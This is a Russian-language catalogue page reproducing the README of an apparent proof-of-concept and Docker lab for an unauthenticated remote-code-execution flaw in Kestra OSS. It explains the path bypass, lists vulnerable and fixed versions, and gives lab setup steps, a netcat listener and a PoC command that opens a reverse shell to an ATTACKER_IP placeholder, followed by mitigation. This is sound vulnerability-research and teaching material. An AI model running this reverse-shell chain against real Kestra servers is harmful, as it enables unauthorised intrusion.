Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49869 — PoC и Docker-лаборатория для CVE-2026-49869 — неаутентифицированное RCE в Kestra OSS через обход пути в AuthenticationFilter, позволяющее создавать flow и выполнять команды. | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2026-49869
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВиртуализация для безопасностиВеб-безопасностьТестирование на ПроникновениеАутентификацияИнструмент Удаленного ДоступаЛаборатории и Практика
GitHubeqstlab/cve-2026-49869

CVE-2026-49869

151 день назадЕщё не проверено

PoC и Docker-лаборатория для CVE-2026-49869 — неаутентифицированное RCE в Kestra OSS через обход пути в AuthenticationFilter, позволяющее создавать flow и выполнять команды.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49869: Неаутентифицированное удалённое выполнение кода в Kestra

★PoC и Docker-лаборатория для обхода аутентификации в AuthenticationFilter Kestra OSS★

Запускайте эту лабораторию только на системах, которые вы контролируете. Пример с -p 8080:8080 может опубликовать уязвимый API на всех интерфейсах хоста; заблокируйте доступ из других сетей.

https://github.com/user-attachments/assets/e8dc29f2-1fd2-49bb-9a61-3ae67ee69865

Обзор

Kestra использует Basic Auth для защиты своего API. В уязвимых версиях OSS AuthenticationFilter рассматривает любой путь запроса, заканчивающийся на /configs, как публичную конечную точку конфигурации. Поэтому неаутентифицированный клиент может создать поток с именем configs, а затем выполнить его через пути API, которые также заканчиваются на /configs. Задача shell в этом потоке может выполнять команды в контейнере воркера Kestra. Дефект и цепочка RCE описаны в рекомендации по безопасности Kestra.

Уязвимые версии

Ветка Kestra OSSУязвимые версииПервая исправленная версия
1.0.x и более ранниеДо 1.0.451.0.45
1.1.x–1.3.x1.1.0 – 1.3.201.3.21

В лаборатории используется v1.3.20 с включённым OSS Basic Auth. Проблема затрагивает этот путь аутентификации, когда API Kestra доступен; локальный образ основан на kestra/kestra:v1.3.20.

Воздействие

  • Создание и выполнение потока без учётных данных.
  • Выполнение команд через установленную задачу скрипта с привилегиями контейнера воркера.
  • Доступ или изменение других ресурсов, путь API которых заканчивается на /configs; в рекомендации также описана SSRF через шаблон рабочего процесса.

Привилегии контейнера не означают привилегии хоста.

Окружение

Репозиторий должен содержать Dockerfile, entrypoint.sh и poc.py вместе с этим README. Для запуска цели требуется Docker; для PoC требуется Python 3. Устанавливать пакеты Python не нужно.

docker build -t cve-2026-49869-lab .
docker run -d --name cve-2026-49869-lab -p 8080:8080 cve-2026-49869-lab

entrypoint.sh включает Basic Auth с учётной записью только для лаборатории:

Имя пользователяПароль
[email protected]Eqst123!

Kestra требует имя пользователя в формате электронной почты и пароль длиной не менее восьми символов, содержащий заглавные и строчные буквы и цифру. Эти учётные данные опубликованы только для локального тестирования.

Дождитесь, пока первый запрос вернёт 200. Второй запрос должен вернуть 401, что показывает, что Basic Auth защищает обычный путь API:

curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/configs
curl.exe -sS -o NUL -w "%{http_code}`n" http://127.0.0.1:8080/api/v1/main/flows/tutorial/notconfigs

Если у остановленного контейнера уже есть такое же имя, используйте docker start cve-2026-49869-lab, чтобы переиспользовать его, или удалите этот контейнер перед созданием нового с помощью docker run.

PoC

Скрипт отправляет два запроса без учётных данных: один создаёт или обновляет configs/configs с задачей shell, а следующий запускает её выполнение. Существующий созданный пользователем поток не нужен. Повторный запуск скрипта заменяет лабораторный поток с тем же именем.

Сначала запустите слушатель на машине, принимающей shell-соединение:

nc -lvnp LISTENER_PORT

Затем запустите PoC из каталога, содержащего poc.py:

python poc.py http://TARGET:8080 --lhost ATTACKER_IP --lport LISTENER_PORT

Для Docker-лаборатории на той же машине замените TARGET на 127.0.0.1. Установите ATTACKER_IP в IPv4-адрес, доступный контейнеру; скрипт не запускает слушатель. Скрипт выводит ответ о выполнении, включая ID выполнения. Для подтверждения того, что обратный shell сработал, необходимо соединение на слушателе.

Наблюдаемые результаты

В записанном локальном тесте использовалась безвредная задача Log для проверки обхода аутентификации и выполнения рабочего процесса. Она не запускала полезную нагрузку обратного shell.

Проверкаv1.3.20v1.3.21
Обычный защищённый API, без учётных данных401401
Создание потока configs, без учётных данных200401
Запуск выполнения configs, без учётных данных200401
Безвредная задача на уязвимой версииSUCCESS, маркер в логах—

Обратный вызов обратного shell не входит в эти записанные результаты.

Устранение

Обновитесь как минимум до 1.0.45 в ветке 1.0.x или до 1.3.21 в ветках 1.1.x–1.3.x. Исправление в upstream нормализует путь и проверяет точный публичный маршрут конфигурации вместо принятия любого суффикса /configs. До завершения обновления ограничьте доступ к API Kestra и разрешите неаутентифицированный доступ только к предполагаемому публичному маршруту на прокси.

Очистка

docker rm -f cve-2026-49869-lab
docker image rm cve-2026-49869-lab

Ссылки

  • Рекомендация по безопасности Kestra GHSA-5vc5-wxxq-3fjx
  • Запись CVE-2026-49869
  • Релиз Kestra v1.3.21
  • Исправление AuthenticationFilter
Скачать инструмент